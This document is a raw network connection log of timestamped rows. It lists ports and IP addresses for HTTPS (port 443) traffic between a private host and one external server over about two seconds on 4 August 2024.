Aug 4, 2024 02:21:13.713948965 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.738238096 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.738275051 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.738317966 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.738332033 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.738348007 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.738369942 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.739738941 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.739768028 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.739804029 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.739809990 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.739835978 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.739852905 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.751354933 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.751384974 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.751456022 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.751470089 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.751512051 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.761410952 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.761439085 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.761482954 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.761497021 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.761514902 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.761543989 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.769165039 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.769198895 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.769243956 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.769258022 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.769274950 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.769296885 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.785433054 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.785475016 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.785526037 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.785538912 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.785557985 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.785588026 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.786600113 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.786623955 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.786667109 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.786673069 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.786693096 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.786705971 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.801222086 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.801266909 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.801302910 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.801318884 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.801340103 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.801359892 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.824780941 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.824815989 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.824858904 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.824872017 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.824887037 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.824911118 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.825980902 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.826004028 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.826066971 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.826072931 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.826109886 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.840830088 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.840864897 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.840909958 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.840924025 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.840939999 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.840967894 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.847851038 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.847887039 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.847929955 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.847944021 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.847963095 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.847986937 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.855899096 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.855933905 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.855973005 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.855987072 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.856003046 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.856019974 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.871717930 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.871763945 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.871815920 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.871829987 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.871857882 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.871870041 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.886080027 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.886112928 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.886171103 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.886185884 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.886213064 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.886229992 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.887748003 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.887784004 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.887821913 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.887835026 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.887851954 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.887867928 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.911225080 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.911257029 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.911304951 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.911319017 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.911335945 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.911355972 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.912822008 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.912847042 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.912898064 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.912903070 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.912921906 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.912944078 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.927340984 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.927381039 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.927428007 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.927443027 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.927470922 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.927486897 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.938169956 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.938201904 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.938241959 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.938256025 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.938278913 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.938287973 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.945867062 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.945897102 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.945950985 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.945965052 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.945987940 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.946007013 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.958540916 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.958578110 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.958636045 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.958650112 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.958682060 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.958692074 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.972502947 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.972532988 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.972630978 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.972645998 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.972695112 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.973803997 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.973834038 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.973874092 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.973880053 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:13.973911047 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:13.973926067 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.001230001 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.001261950 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.001297951 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.001311064 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.001327038 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.001355886 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.002187967 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.002219915 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.002264023 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.002269030 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.002296925 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.002315044 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.013585091 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.013626099 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.013654947 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.013669014 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.013686895 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.013710022 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.024259090 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.024293900 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.024327040 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.024341106 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.024355888 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.024378061 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.032170057 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.032197952 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.032224894 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.032231092 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.032259941 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.032269955 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.044840097 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.044874907 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.044909954 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.044923067 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.044948101 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.044961929 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.059007883 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.059046984 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.059092999 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.059107065 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.059140921 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.059140921 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.060463905 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.060494900 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.060525894 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.060532093 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.060565948 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.060609102 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.088125944 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.088171005 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.088202000 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.088217020 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.088232994 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.088258982 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.089188099 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.089215994 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.089258909 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.089265108 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.089287996 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.089299917 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.100634098 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.100662947 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.100730896 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.100754023 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.100769997 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.100797892 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.111146927 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.111176968 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.111217976 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.111232042 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.111253023 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.111277103 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.118871927 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.118910074 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.118947983 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.118962049 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.118980885 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.119005919 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.131468058 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.131500006 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.131561041 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.131575108 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.131609917 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.134547949 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.145543098 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.145586967 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.145617962 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.145632029 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.145662069 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.145672083 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.146889925 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.146924019 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.146960020 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.146974087 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.146991968 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.147020102 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.174415112 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.174454927 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.174495935 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.174513102 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.174529076 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.174555063 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.175789118 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.175821066 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.175853968 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.175858974 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.175887108 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.175898075 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.186927080 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.186963081 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.186999083 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.187012911 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.187030077 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.187053919 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.197531939 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.197563887 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.197593927 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.197607040 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.197624922 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.197649002 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.212714911 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.212748051 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.212789059 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.212802887 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.212817907 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.212838888 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.223408937 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.223443985 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.223480940 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.223495007 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.223512888 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.223541021 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.231931925 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.231965065 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.232002974 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.232017040 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.232037067 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.232065916 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.233576059 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.233601093 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.233756065 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.233762026 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.233804941 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.260802031 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.260833979 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.260880947 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.260898113 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.260924101 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.260931969 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.262480974 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.262510061 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.262547970 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.262552977 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.262582064 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.262597084 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.273577929 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.273616076 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.273689985 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.273704052 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.273732901 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.273756027 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.283866882 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.283906937 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.283977032 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.283977032 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.283992052 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.284029961 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.284060001 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.284101009 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.284109116 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.284142017 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.284179926 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.284216881 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.284272909 CEST	49737	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.284286022 CEST	443	49737	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.388236046 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.388276100 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:14.388359070 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.388622046 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:14.388642073 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.032866001 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.032943010 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:15.033590078 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:15.033603907 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.035456896 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:15.035464048 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.035512924 CEST	49738	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:15.035525084 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.798914909 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.798979044 CEST	443	49738	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:15.799149036 CEST	49738	443	192.168.2.4	168.119.176.241
